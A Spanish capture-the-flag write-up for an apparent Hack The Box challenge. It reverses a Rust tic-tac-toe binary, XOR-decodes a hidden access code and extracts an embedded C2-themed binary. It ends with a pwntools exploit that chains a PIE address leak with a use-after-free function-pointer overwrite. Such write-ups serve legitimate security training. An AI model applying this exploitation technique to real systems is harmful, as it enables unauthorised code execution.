Challenge TicTacToed
Este reto consiste en un ejecutable PIE de 64 bits en Rust disfrazado como un juego de Tic-Tac-Toe de 5x5 que oculta un servidor interactivo de Comando y Control (C2) escrito en C, y la solución consiste en evadir el envoltorio en Rust a través de un descifrado XOR para desbloquear el binario en C incrustado, seguido de una explotación de Use-After-Free (UAF) para evadir la protección PIE y capturar la flag.
El análisis estático inicia identificando el tipo de binario, lo que revela que se trata de un ejecutable ELF PIE de 64 bits compilado en Rust.
$ file tictactoe
tictactoe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[sha1]=6f3bdd1a7989d5ba761bc461c285bf98da6ca4e5, not stripped
La ejecución del binario presenta un juego de Tic-Tac-Toe tradicional. Jugar y ganar de forma habitual no genera ningún comportamiento inusual.
$ ./tictactoe
- - - - -
- - - - -
- - - - -
- - - - -
- - - - -
Player X's turn. Enter row and column (0-4): 1 1
- - - - -
- X - - -
- - - - -
- - - - -
- - - - -
...
Player X wins!
La búsqueda de cadenas de texto interesantes en el binario revela menciones a una interfaz oculta, un código de acceso y una secuencia de reconocimiento de patrones.
$ strings tictactoe| grep -iE "flag|secret|hack|hidden|pattern|access"
osix_spawnattr_setflags
pattern length: unifiedideograph
flag.txt
couldn't open flag.txt
How did your previous hack go?
(F) Provide updates about your current hack.)
getSecret
Hackupdate
Failed to write C2 binarysrc/main.rsFailed to set execute permissionsFailed to execute C2 binary271c6d20f3ba3894199fc3f58b1087130ec340bf85e290b335f8dd4a09ce802f[DEBUG] Access validation failed!
[DEBUG] Expected Hash: [DEBUG] Incorrect Access Code! Tampering Detected.
--- Hidden Interface Unlocked ---
Failed to read usernameEnter Access Code: Failed to read access codeAccess Denied!
Access Granted, Welcome !
--- Pattern Recognized! ---
Player patterns
Patterns
...
Para investigar el mensaje de la interfaz oculta, se examinan las cadenas de texto adyacentes.
$ strings tictactoe | grep -iA10 "hidden"
--- Hidden Interface Unlocked ---
Failed to read usernameEnter Access Code: Failed to read access codeAccess Denied!
Access Granted, Welcome !
O:40X:44utf8info\
ahexoidsterm15.1V6_3v160markcprtdogrgujrjavakhmrlanamakamandmrooplrd) =
Mathv110v151benglatnprtizzzzZero
idsb14.016.0V6_2armnbassgonmmercsarbshawtaleyeziHash&
V3_0balikharmiaoogamtfngcodehashv
11.0V7_0MarkaghbkhojsunuxpeoO:31X:00coreR
V6_0kndalimbnkoosundTotou128for<[
xidcbatklaooKindboolmut X:33kindQuitbyte-
La salida contiene caracteres como X y O asociados a números, lo que potencialmente indica coordenadas específicas para el tablero de juego. La extracción de estas coordenadas sugiere una posible secuencia de movimientos.
$ strings tictactoe| grep -oE "[XO]:[0-9][0-9]" | sort
O:04
O:13
O:31
O:40
X:00
X:11
X:22
X:33
X:44
Al introducir esta secuencia precisa de movimientos en el juego, se activa el mecanismo de reconocimiento de patrones y se desbloquea la interfaz oculta.
$ ./tictactoe
- - - - -
- - - - -
- - - - -
- - - - -
- - - - -
Player X's turn. Enter row and column (0-4): 0 0
X - - - -
- - - - -
- - - - -
- - - - -
- - - - -
Player O's turn. Enter row and column (0-4): 0 4
X - - - O
- - - - -
- - - - -
- - - - -
- - - - -
Player X's turn. Enter row and column (0-4): 1 1
X - - - O
- X - - -
- - - - -
- - - - -
- - - - -
Player O's turn. Enter row and column (0-4): 1 3
X - - - O
- X - O -
- - - - -
- - - - -
- - - - -
Player X's turn. Enter row and column (0-4): 2 2
X - - - O
- X - O -
- - X - -
- - - - -
- - - - -
Player O's turn. Enter row and column (0-4): 3 1
X - - - O
- X - O -
- - X - -
- O - - -
- - - - -
Player X's turn. Enter row and column (0-4): 3 3
X - - - O
- X - O -
- - X - -
- O - X -
- - - - -
Player O's turn. Enter row and column (0-4): 4 0
X - - - O
- X - O -
- - X - -
- O - X -
O - - - -
Player X's turn. Enter row and column (0-4): 4 4
--- Pattern Recognized! ---
--- Hidden Interface Unlocked ---
Enter Username:
La interfaz solicita un nombre de usuario y un código de acceso. Al probar un usuario genérico y un código aleatorio, el acceso es denegado.
$ ./tictactoe
...
--- Pattern Recognized! ---
--- Hidden Interface Unlocked ---
Enter Username: admin
Enter Access Code:
...
--- Hidden Interface Unlocked ---
Enter Username: admin
Enter Access Code: alkjdalkjda
Access Denied!
Para determinar el código de acceso correcto, es necesario profundizar en la ingeniería inversa. La búsqueda de bytes cifrados en la tabla de símbolos del binario revela tres partes cifradas que se almacenan en la sección .rodata.
$ objdump -t tictactoe | grep ENC
000000000007adc5 l O .rodata 0000000000000007 _ZN9tictactoe9ENC_PART117hc9692e3072677d14E
000000000007adcc l O .rodata 0000000000000007 _ZN9tictactoe9ENC_PART217h32e32663a27b062dE
000000000007add3 l O .rodata 0000000000000009 _ZN9tictactoe9ENC_PART317ha3eec3bbd5f1dfdbE
Estas partes pueden extraerse utilizando un script en Python que lea directamente los desplazamientos (offsets) especificados.
$ python3 -c 'f=open("tictactoe", "rb"); f.seek(0x7adc5); p1=f.read(7); f.seek(0x7adcc); p2=f.read(7); f.seek(0x7add3); p3=f.read(9); print(f"Part 1: {p1.hex()}\nPart 2: {p2.hex()}\nPart 3: {p3.hex()}\nTogether: {(p1+p2+p3).hex()}"); f.close()'
Part 1: 1e693c6b34692e
Part 2: 36233b6d6b396d
Part 3: 6e396d6a693d3b3769
Together: 1e693c6b34692e36233b6d6b396d6e396d6a693d3b3769
Una vez obtenidos los bytes cifrados, el análisis se centra en localizar la lógica de descifrado.
$ objdump -t tictactoe | grep -iE "decrypt"
000000000012dd30 l F .text 0000000000000293 _ZN9tictactoe11decrypt_key17hd58798707eb6d7f2E
...
La evaluación de la función decrypt_key empleando Cutter ilustra cómo el programa procesa las tres partes cifradas.
int64_t method.tictactoe::decrypt_key.hd58798707eb6d7f2(int64_t arg1, undefined8 placeholder_1, int64_t arg3)
{
...
// tictactoe::decrypt_key::hd58798707eb6d7f2
pcVar1 = _data.003dc8b8;
auVar2 = (*_data.003dc8b8)(tictactoe::ENC_PART1::hc9692e3072677d14);
auVar2 = method.core::iter::traits::iterator::Iterator::map.h78bcbbd2cb0128f7(auVar2._0_8_, auVar2._8_8_);
method.core::iter::traits::iterator::Iterator::collect.h46e2a274eecde051
((int64_t)&var_108h, auVar2._0_8_, auVar2._8_8_);
auVar2 = (*pcVar1)(tictactoe::ENC_PART2::h32e32663a27b062d, 7);
auVar2 = method.core::iter::traits::iterator::Iterator::map.hd5d540c5a8d969c4(auVar2._0_8_, auVar2._8_8_);
method.core::iter::traits::iterator::Iterator::collect.h48ffbb0824afa13b
((int64_t)&var_f0h, auVar2._0_8_, auVar2._8_8_);
auVar3 = (*_data.003dc8b8)(tictactoe::ENC_PART3::ha3eec3bbd5f1dfdb, 9);
auVar3 = method.core::iter::traits::iterator::Iterator::map.h311e6b574ccd6bf8(auVar3._0_8_, auVar3._8_8_);
method.core::iter::traits::iterator::Iterator::collect.h5ebe031c83ec3bd1
((int64_t)&var_d8h, auVar3._0_8_, auVar3._8_8_);
....
return arg1;
}
La inspección de otros métodos relacionados descubre un "closure" que lleva a cabo una operación XOR con la constante 0x5a.
uint8_t method.tictactoe::decrypt_key::__closure__.hc981438569de4f63(undefined8 placeholder_0, int64_t arg2)
{
// tictactoe::decrypt_key::{{closure}}::hc981438569de4f63
return *(uint8_t *)arg2 ^ 0x5a;
}
Al aplicar una operación XOR con el valor 0x5a a la cadena hexadecimal concatenada, se obtiene el código de acceso válido.
D3f1n3tlya71c74c703gam3
El ingreso de este código de acceso concede el ingreso al centro de Comando y Control (C2) oculto.
$ ./tictactoe
...
Enter Username: admin
Enter Access Code: D3f1n3tlya71c74c703gam3
Access Granted, Welcome admin!
Command and Control Centere.
==========================
(H) Generate ID for the agent
(A) Begin a new cyber operation
(C) Create a new Agent
(K) Check status of current cyber operation
(F) Provide updates about your current hack.)
(E) Exit
>
Esto expone la segunda aplicación integrada dentro del envoltorio principal. Es posible utilizar un script para identificar los bytes mágicos de un ELF (\x7fELF) dentro del binario inicial, localizando así el comienzo del ejecutable embebido.
$ python -c "import sys, re; [print(f'Offset: {m.start()}') for m in re.finditer(b'\x7fELF', open(sys.argv[1], 'rb').read())]" tictactoe
Offset: 0
Offset: 505666
Offset: 3719985
La segunda ocurrencia en el desplazamiento 505666 marca el inicio del binario del C2. Su extracción exige calcular el tamaño del segmento incrustado, resultando en 3214319 bytes. La extracción se ejecuta mediante el comando dd.
$ dd if=tictactoe of=c2_binary bs=1 skip=505666 count=3214319
3214319+0 records in
3214319+0 records out
3214319 bytes (3.2 MB, 3.1 MiB) copied, 5.19032 s, 619 kB/s
El análisis del binario del C2 recién extraído utilizando Cutter exhibe varias funciones críticas. Una función denominada getSecret es responsable de leer e imprimir la flag, convirtiéndola en el principal objetivo de ejecución.
void getSecret(void)
{
int64_t iVar1;
int64_t in_FS_OFFSET;
FILE *stream;
char *va_args;
int64_t canary;
canary = *(int64_t *)(in_FS_OFFSET + 0x28);
iVar1 = fopen("flag.txt", data.00002008);
if (iVar1 == 0) {
perror("couldn\'t open flag.txt");
} else {
fgets(&va_args, 200, iVar1);
fprintf(*_stdout, data.00002013, &va_args);
fclose(iVar1);
}
if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
La función main controla el flujo del programa, mostrando el menú de forma continua, procesando la entrada del usuario y ejecutando acciones fundamentadas en una estructura _agent de 16 bytes que es asignada dinámicamente.
void main(void)
{
setvbuf(*_stdout, 0, 2, 0);
_agent = malloc(0x10);
do {
displayMenu();
processInput();
executeAction(_agent);
} while( true );
}
La función executeAction aprovecha el puntero _agent, interpretando sus primeros ocho bytes como un puntero a función y saltando hacia dicha dirección de memoria.
void executeAction(int64_t arg1)
{
int64_t var_10h;
(**(code **)arg1)();
return;
}
La revisión de la función exitProgram destapa una vulnerabilidad de tipo Use-After-Free (UAF). Cuando se escoge la opción de salir, la memoria de _agent es liberada. Sin embargo, la función no finaliza la ejecución del programa, posibilitando que el bucle principal se mantenga activo junto a un puntero "colgante" (dangling pointer) que hace referencia a la memoria previamente liberada.
void exitProgram(void)
{
int32_t iVar1;
int64_t in_FS_OFFSET;
char var_11h;
int64_t canary;
canary = *(int64_t *)(in_FS_OFFSET + 0x28);
printf("Sure you want to leave the clan (Y/N)? ");
__isoc99_scanf(data.00002110, &var_11h);
iVar1 = toupper((int32_t)var_11h);
if (iVar1 == 0x59) {
puts("Congrats on quitting the revolution");
free(_agent);
} else {
puts(data.0000213c);
}
if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
Esta vulnerabilidad es explotable mediante la función Hackupdate, que reserva un bloque de 8 bytes y recibe la entrada del usuario en él.
void Hackupdate(void)
{
undefined8 uVar1;
void *buf;
puts("How did your previous hack go? ");
uVar1 = malloc(8);
read(0, uVar1, 8);
return;
}
Debido a que ambas asignaciones de memoria piden bloques de un tamaño menor a 0x20 bytes, estas son atendidas por el mismo "tcache bin". Al asignar memoria en Hackupdate, se reutiliza el mismo bloque exacto que fue liberado desde _agent. Al escribir ocho bytes en este bloque, se sobrescribe el puntero a función que posteriormente será evaluado en executeAction.
Para invocar exitosamente a getSecret, su dirección en memoria debe ser calculada. La función printID proporciona inadvertidamente una fuga de memoria (memory leak) al exponer la dirección de ejecución de la función generateUserID.
void printID(void)
{
printf("User ID: %p\n", generateUserID);
return;
}
Con PIE activado, la dirección base es aleatoria, pero la distancia relativa entre funciones se mantiene constante. El análisis estático muestra que generateUserID se ubica en el desplazamiento 0x143c y getSecret en 0x1269. Restar esta diferencia a la dirección filtrada permite resolver infaliblemente la dirección real de getSecret.
Puesto que el binario integrado en el servidor remoto podría diferir levemente, ocasionando variaciones en la diferencia (delta), se diseña un script con el propósito de aplicar fuerza bruta sobre un rango de desplazamientos posibles.
$ cat ../exploit/exploit.py
from pwn import *
import re
pattern = [
b"0 0", b"0 4", b"1 1", b"1 3", b"2 2", b"3 1",
b"3 3", b"4 0", b"4 4"
]
username = "admin"
access_code = "D3f1n3tlya71c74c703gam3"
for delta in range(0x150, 0x200):
try:
p = remote('154.57.164.71', 31403)
# Send the pattern
for move in pattern:
p.sendline(move)
p.recvuntil(b"Pattern Recognized!")
p.recvuntil(b"Enter Username:")
p.sendline(b"admin")
p.recvuntil(b"Enter Access Code:")
p.sendline(b"D3f1n3tlya71c74c703gam3")
# Access the C2
p.recvuntil(b"> ")
p.sendline(b"H")
# Store the leaked value
p.recvuntil(b"User ID: ")
# Calculate the getSecret address
user_id = int(p.recvline().strip(), 16)
secret_addr = user_id - delta
# Trigger UAF
p.sendline(b"E")
p.recvuntil(b"(Y/N)?")
p.sendline(b"Y")
p.recvuntil(b"> ")
p.sendline(b"F")
p.recvuntil(b"hack go?")
# Overwrite the function pointer
p.send(p64(secret_addr))
# Catch the response
response = p.recvall(timeout=2).decode(errors='ignore')
p.close()
# Search for the flag in the response
if "HTB" in response:
print(f"[+] Delta: 0x{delta:x} \n"
f"[+] getSecret Address: {secret_addr}")
# Extract the flag
flag = re.search(r"HTB\{[^}]+\}", response).group()
print(f"[+] Flag: {flag}")
break
except Exception:
pass
La ejecución del script iterará sobre las posibles diferencias, sobrescribirá el puntero de manera correcta, invocará a getSecret, y extraerá con éxito la flag.
$ python3 ../exploit/exploit.py
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 154.57.164.71 port 31403
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 154.57.164.71 port 31403
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 154.57.164.71 port 31403
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 154.57.164.71 port 31403
...
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (282B)
[*] Closed connection to 154.57.164.71 port 31403
[+] Delta: 0x1a0
[+] getSecret Address: 93985082032733
[+] Flag: HTB{FLAG}